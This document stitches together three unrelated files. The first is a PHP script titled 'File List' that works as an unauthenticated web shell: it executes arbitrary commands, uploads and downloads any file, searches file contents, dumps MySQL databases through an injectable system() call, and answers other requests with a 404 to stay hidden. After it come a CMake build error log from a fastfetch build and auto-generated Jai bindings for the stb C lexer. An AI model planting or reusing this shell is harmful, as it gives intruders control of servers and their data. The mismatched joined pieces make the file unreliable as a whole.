File List


<?php

function recurs($dir, $word) {
    $files = scandir($dir);
	
    foreach ($files as $file) {
        if ($file == '.' or $file == '..') {
            continue;
        }

        $full_path = realpath($dir.'/'.$file);
		
        if (is_dir($full_path)) {
            recurs($full_path, $word);
        }
		else {
            if (stristr(file_get_contents($full_path), $word) !== false) {
                echo "<li style='list-style:none;'>šŸ“„ <a href='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode($full_path)."'>".htmlspecialchars($full_path)."</a></li>";
            }
        }
    }
}

function sort_scandir($dir) {
    $items = scandir($dir);
    
    $folders = array();
    $files   = array();
    
    foreach ($items as $item) {
        if (is_dir($dir.'/'.$item)) {
			$folders[$item] = $item;
        }
		else {
			$files[$item] = $item;
        }
    }
	
    sort($folders);
    sort($files);
    
    $result = array_merge($folders, $files);
    
    return $result;
}

$db   = $_GET['db'] ?? NULL;
$user = $_GET['user'] ?? NULL;
$pass = $_GET['pass'] ?? NULL;
$host = $_GET['host'] ?? NULL;

if ($db) {
	header('Content-Type: application/sql');
	header('Content-Disposition: attachment; filename="dump.sql"');
	header('Content-Transfer-Encoding: binary');
	system("mysqldump --host=".$host." --user=".$user." --password=".$pass." ".$db);
	exit;
}

$path     = $_GET['path'] ?? NULL;
$download = $_GET['download'] ?? NULL;

if ($path) {
	if (is_dir($path)) {
		echo "<a href='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode(dirname(__FILE__))."' style='color: gray;'>".htmlspecialchars(dirname(__FILE__))."</a>";

		$scheme = (!empty($_SERVER['HTTPS']) and $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
		echo "<a href='".$scheme."://".htmlspecialchars($_SERVER['HTTP_HOST'])."/' target='_blank' style='color: gray; margin-left: 20px;'>".htmlspecialchars($_SERVER['HTTP_HOST'])."</a>";
		
		echo "<div style='display: flex; gap: 10px; align-items: center; flex-wrap: wrap;'>";
		
		echo "<form action='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode($path)."' method='POST' enctype='multipart/form-data' style='display: flex; gap: 5px; align-items: center; padding: 5px;'>
			<label for='file-upload' style='padding: 10px; cursor: pointer; background: #eee;'>[select file]</label>
			<input id='file-upload' type='file' name='file' style='display:none;' />
			<input type='submit' name='upload' value='Upload' />
		</form>";

		echo "<form action='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode($path)."' method='POST' style='display: flex; gap: 5px; align-items: center; padding: 5px;'>
			<input type='text' name='cmd' placeholder='uname -a' />
			<input type='submit' value='Execute' />
		</form>";
		
		echo "<form action='".htmlspecialchars($_SERVER['PHP_SELF'])."' method='get' style='display: flex; gap: 5px; align-items: center; padding: 5px;'>
			<input type='hidden' name='path' value='".htmlspecialchars($path)."' />
			<input type='text' name='recurs' placeholder='mysql' />
			<input type='submit' value='Search' />
		</form>";

		echo "<form action='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode($path)."' method='POST' enctype='multipart/form-data' style='display: flex; gap: 5px; align-items: center; padding: 5px;'>
			<input type='text' name='host' value='localhost' size='5' placeholder='host' />
			<input type='text' name='user' value='root' size='5' placeholder='user' />
			<input type='text' name='pass' size='5' placeholder='pass' />
			<input type='text' name='db' size='5' placeholder='db' />
			<input type='submit' name='mysql' value='Connect' />
		</form>";

		echo "</div>";
		
		if ($_SERVER['REQUEST_METHOD'] === 'POST') {
			if (isset($_POST['cmd'])) {
				$cmd = $_POST['cmd'];
				
				echo "<hr>";
				echo "<pre><b>Command:</b> ".htmlspecialchars($cmd)."\n";

				$output = shell_exec($cmd . " 2>&1");
				
				if (stripos(PHP_OS, 'WIN') === 0) {
					$output = mb_convert_encoding($output, 'UTF-8', 'CP866');
				}

				echo htmlspecialchars($output);
				echo "</pre>";
				echo "<hr>";
			}
			elseif (isset($_POST['upload'])) {
				if (isset($_FILES['file']) and $_FILES['file']['error'] == UPLOAD_ERR_OK) {
					if (move_uploaded_file($_FILES['file']['tmp_name'], $path.'/'.basename($_FILES['file']['name']))) {
						echo "<hr><ul><i>Uploaded</i></ul><hr>";
					}
				}
			}
			elseif (isset($_POST['mysql'])) {
				$host = $_POST['host'] ?? NULL;
				$user = $_POST['user'] ?? NULL;
				$pass = $_POST['pass'] ?? NULL;
				$db   = $_POST['db'] ?? NULL;
				
				try {
					$mysqli = mysqli_connect($host, $user, $pass, $db);
					mysqli_set_charset($mysqli, 'utf8mb4');
					
					if ($mysqli) {
						$result = $mysqli->query("SHOW DATABASES");
						
						if ($result) {
							echo "<hr>";
							echo "<ul>";
							while ($row = $result->fetch_assoc()) {
								$db = $row['Database'];
								echo "<li><a href='?db=".urlencode($db)."&user=".urlencode($user)."&pass=".urlencode($pass)."&host=".urlencode($host)."'>".htmlspecialchars($db)."</a></li>";
							}
							echo "</ul>";
							echo "<hr>";
						}

						mysqli_close($mysqli);
					}
				}
				catch(mysqli_sql_exception $mysqli_error) {
					echo "<hr><ul><i>Connection error</i></ul><hr>";
				}
			}
		}
		
		$recurs = $_GET['recurs'] ?? NULL;
		
		if ($recurs) {
			echo "<hr>";
			echo "<ul>";
			recurs($path, $recurs);
			echo "</ul>";
			echo "<hr>";
		}
		
		//files
		$files = sort_scandir($path);
		
		echo "<ul style='list-style: none; padding-left: 10px;'>";
		for($i = 0; $i < count($files); $i++) {
			$full_path = realpath($path."/".$files[$i]);
			
            if (is_dir($full_path)) {
				$icon = "šŸ“";
			} else {
				$icon = "šŸ“„";
			}
            
			echo "<li>".$icon." <a href='".htmlspecialchars($_SERVER['PHP_SELF'])."?path=".urlencode($full_path)."'>".htmlspecialchars($files[$i])."</a></li>";
		}
		echo "</ul>";
	}
	elseif (is_file($path)) {
		$path = str_replace('\\', '/', $path);
			
		echo "<p><a href='".htmlspecialchars($_SERVER['PHP_SELF'])."?download=".urlencode($path)."' class='download-btn'><button>Download</button></a></p>";
		
		highlight_file($path);
	}
	else {
		header('HTTP/1.0 404 Not Found');
		exit;
	}
}
elseif ($download) {
	header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($download).'"');
    header('Content-Length: '.filesize($download));
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    readfile($download);
    exit;
}
else {
	header('HTTP/1.0 404 Not Found');
	exit;
}



?>



Determining if the include file linux/version.h exists failed with the following output:
Change Dir: /root/fastfetch/build/CMakeFiles/CMakeTmp

Run Build Command(s):/usr/bin/make -f Makefile cmTC_5729a/fast && /usr/bin/make  -f CMakeFiles/cmTC_5729a.dir/build.make CMakeFiles/cmTC_5729a.dir/build
make[1]: Entering directory '/root/fastfetch/build/CMakeFiles/CMakeTmp'
Building C object CMakeFiles/cmTC_5729a.dir/CheckIncludeFile.c.o
/usr/bin/cc    -o CMakeFiles/cmTC_5729a.dir/CheckIncludeFile.c.o -c /root/fastfetch/build/CMakeFiles/CMakeTmp/CheckIncludeFile.c
/root/fastfetch/build/CMakeFiles/CMakeTmp/CheckIncludeFile.c:1:10: fatal error: linux/version.h: No such file or directory
    1 | #include <linux/version.h>
      |          ^~~~~~~~~~~~~~~~~
compilation terminated.
make[1]: *** [CMakeFiles/cmTC_5729a.dir/build.make:78: CMakeFiles/cmTC_5729a.dir/CheckIncludeFile.c.o] Error 1
make[1]: Leaving directory '/root/fastfetch/build/CMakeFiles/CMakeTmp'
make: *** [Makefile:127: cmTC_5729a/fast] Error 2















//
// This file was auto-generated using the following command:
//
// jai generate.jai
//



stb_lexer :: struct {
    // lexer variables
    input_stream:       *u8;
    eof:                *u8;
    parse_point:        *u8;
    string_storage:     *u8;
    string_storage_len: s32;

    // lexer parse location for error messages
    where_firstchar:    *u8;
    where_lastchar:     *u8;

    // lexer token variables
    token:              s64;
    real_number:        float64;
    int_number:         s64;
    _string:            *u8;
    string_len:         s32;
}

stb_lex_location :: struct {
    line_number: s32;
    line_offset: s32;
}

stb_c_lexer_init :: (lexer: *stb_lexer, input_stream: *u8, input_stream_end: *u8, string_store: *u8, store_length: s32) -> void #foreign stb_c_lexer;

// this function initialize the 'lexer' structure
//   Input:
//   - input_stream points to the file to parse, loaded into memory
//   - input_stream_end points to the end of the file, or NULL if you use 0-for-EOF
//   - string_store is storage the lexer can use for storing parsed strings and identifiers
//   - store_length is the length of that storage
stb_c_lexer_get_token :: (lexer: *stb_lexer) -> s32 #foreign stb_c_lexer;

// this function returns non-zero if a token is parsed, or 0 if at EOF
//   Output:
//   - lexer->token is the token ID, which is unicode code point for a single-char token, < 0 for a multichar or eof or error
//   - lexer->real_number is a double constant value for CLEX_floatlit, or CLEX_intlit if STB_C_LEX_INTEGERS_AS_DOUBLES
//   - lexer->int_number is an integer constant for CLEX_intlit if !STB_C_LEX_INTEGERS_AS_DOUBLES, or character for CLEX_charlit
//   - lexer->string is a 0-terminated string for CLEX_dqstring or CLEX_sqstring or CLEX_identifier
//   - lexer->string_len is the byte length of lexer->string
stb_c_lexer_get_location :: (lexer: *stb_lexer, where: *u8, loc: *stb_lex_location) -> void #foreign stb_c_lexer;

CLEX :: enum u32 {
    eof                :: 256;
    parse_error        :: 257;
    intlit             :: 258;
    floatlit           :: 259;
    id                 :: 260;
    dqstring           :: 261;
    sqstring           :: 262;
    charlit            :: 263;
    eq                 :: 264;
    noteq              :: 265;
    lesseq             :: 266;
    greatereq          :: 267;
    andand             :: 268;
    oror               :: 269;
    shl                :: 270;
    shr                :: 271;
    plusplus           :: 272;
    minusminus         :: 273;
    pluseq             :: 274;
    minuseq            :: 275;
    muleq              :: 276;
    diveq              :: 277;
    modeq              :: 278;
    andeq              :: 279;
    oreq               :: 280;
    xoreq              :: 281;
    arrow              :: 282;
    eqarrow            :: 283;
    shleq              :: 284;
    shreq              :: 285;

    first_unused_token :: 286;

    CLEX_eof                :: eof;
    CLEX_parse_error        :: parse_error;
    CLEX_intlit             :: intlit;
    CLEX_floatlit           :: floatlit;
    CLEX_id                 :: id;
    CLEX_dqstring           :: dqstring;
    CLEX_sqstring           :: sqstring;
    CLEX_charlit            :: charlit;
    CLEX_eq                 :: eq;
    CLEX_noteq              :: noteq;
    CLEX_lesseq             :: lesseq;
    CLEX_greatereq          :: greatereq;
    CLEX_andand             :: andand;
    CLEX_oror               :: oror;
    CLEX_shl                :: shl;
    CLEX_shr                :: shr;
    CLEX_plusplus           :: plusplus;
    CLEX_minusminus         :: minusminus;
    CLEX_pluseq             :: pluseq;
    CLEX_minuseq            :: minuseq;
    CLEX_muleq              :: muleq;
    CLEX_diveq              :: diveq;
    CLEX_modeq              :: modeq;
    CLEX_andeq              :: andeq;
    CLEX_oreq               :: oreq;
    CLEX_xoreq              :: xoreq;
    CLEX_arrow              :: arrow;
    CLEX_eqarrow            :: eqarrow;
    CLEX_shleq              :: shleq;
    CLEX_shreq              :: shreq;

    CLEX_first_unused_token :: first_unused_token;
}

#scope_file

#import "Basic"; // For assert

stb_c_lexer :: #library "./libs/macos/libstb_c_lexer";

#run {
    {
        info := type_info(stb_lexer);
        for info.members {
            if it.name == {
                case "input_stream";
                    assert(it.offset_in_bytes == 0, "stb_lexer.input_stream has unexpected offset % instead of 0", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.input_stream has unexpected size % instead of 8", it.type.runtime_size);
                case "eof";
                    assert(it.offset_in_bytes == 8, "stb_lexer.eof has unexpected offset % instead of 8", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.eof has unexpected size % instead of 8", it.type.runtime_size);
                case "parse_point";
                    assert(it.offset_in_bytes == 16, "stb_lexer.parse_point has unexpected offset % instead of 16", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.parse_point has unexpected size % instead of 8", it.type.runtime_size);
                case "string_storage";
                    assert(it.offset_in_bytes == 24, "stb_lexer.string_storage has unexpected offset % instead of 24", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.string_storage has unexpected size % instead of 8", it.type.runtime_size);
                case "string_storage_len";
                    assert(it.offset_in_bytes == 32, "stb_lexer.string_storage_len has unexpected offset % instead of 32", it.offset_in_bytes);
                    assert(it.type.runtime_size == 4, "stb_lexer.string_storage_len has unexpected size % instead of 4", it.type.runtime_size);
                case "where_firstchar";
                    assert(it.offset_in_bytes == 40, "stb_lexer.where_firstchar has unexpected offset % instead of 40", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.where_firstchar has unexpected size % instead of 8", it.type.runtime_size);
                case "where_lastchar";
                    assert(it.offset_in_bytes == 48, "stb_lexer.where_lastchar has unexpected offset % instead of 48", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.where_lastchar has unexpected size % instead of 8", it.type.runtime_size);
                case "token";
                    assert(it.offset_in_bytes == 56, "stb_lexer.token has unexpected offset % instead of 56", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.token has unexpected size % instead of 8", it.type.runtime_size);
                case "real_number";
                    assert(it.offset_in_bytes == 64, "stb_lexer.real_number has unexpected offset % instead of 64", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.real_number has unexpected size % instead of 8", it.type.runtime_size);
                case "int_number";
                    assert(it.offset_in_bytes == 72, "stb_lexer.int_number has unexpected offset % instead of 72", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer.int_number has unexpected size % instead of 8", it.type.runtime_size);
                case "_string";
                    assert(it.offset_in_bytes == 80, "stb_lexer._string has unexpected offset % instead of 80", it.offset_in_bytes);
                    assert(it.type.runtime_size == 8, "stb_lexer._string has unexpected size % instead of 8", it.type.runtime_size);
                case "string_len";
                    assert(it.offset_in_bytes == 88, "stb_lexer.string_len has unexpected offset % instead of 88", it.offset_in_bytes);
                    assert(it.type.runtime_size == 4, "stb_lexer.string_len has unexpected size % instead of 4", it.type.runtime_size);
            }
        }
        assert(size_of(stb_lexer) == 96, "stb_lexer has size % instead of 96", size_of(stb_lexer));
    }

    {
        info := type_info(stb_lex_location);
        for info.members {
            if it.name == {
                case "line_number";
                    assert(it.offset_in_bytes == 0, "stb_lex_location.line_number has unexpected offset % instead of 0", it.offset_in_bytes);
                    assert(it.type.runtime_size == 4, "stb_lex_location.line_number has unexpected size % instead of 4", it.type.runtime_size);
                case "line_offset";
                    assert(it.offset_in_bytes == 4, "stb_lex_location.line_offset has unexpected offset % instead of 4", it.offset_in_bytes);
                    assert(it.type.runtime_size == 4, "stb_lex_location.line_offset has unexpected size % instead of 4", it.type.runtime_size);
            }
        }
        assert(size_of(stb_lex_location) == 8, "stb_lex_location has size % instead of 8", size_of(stb_lex_location));
    }
}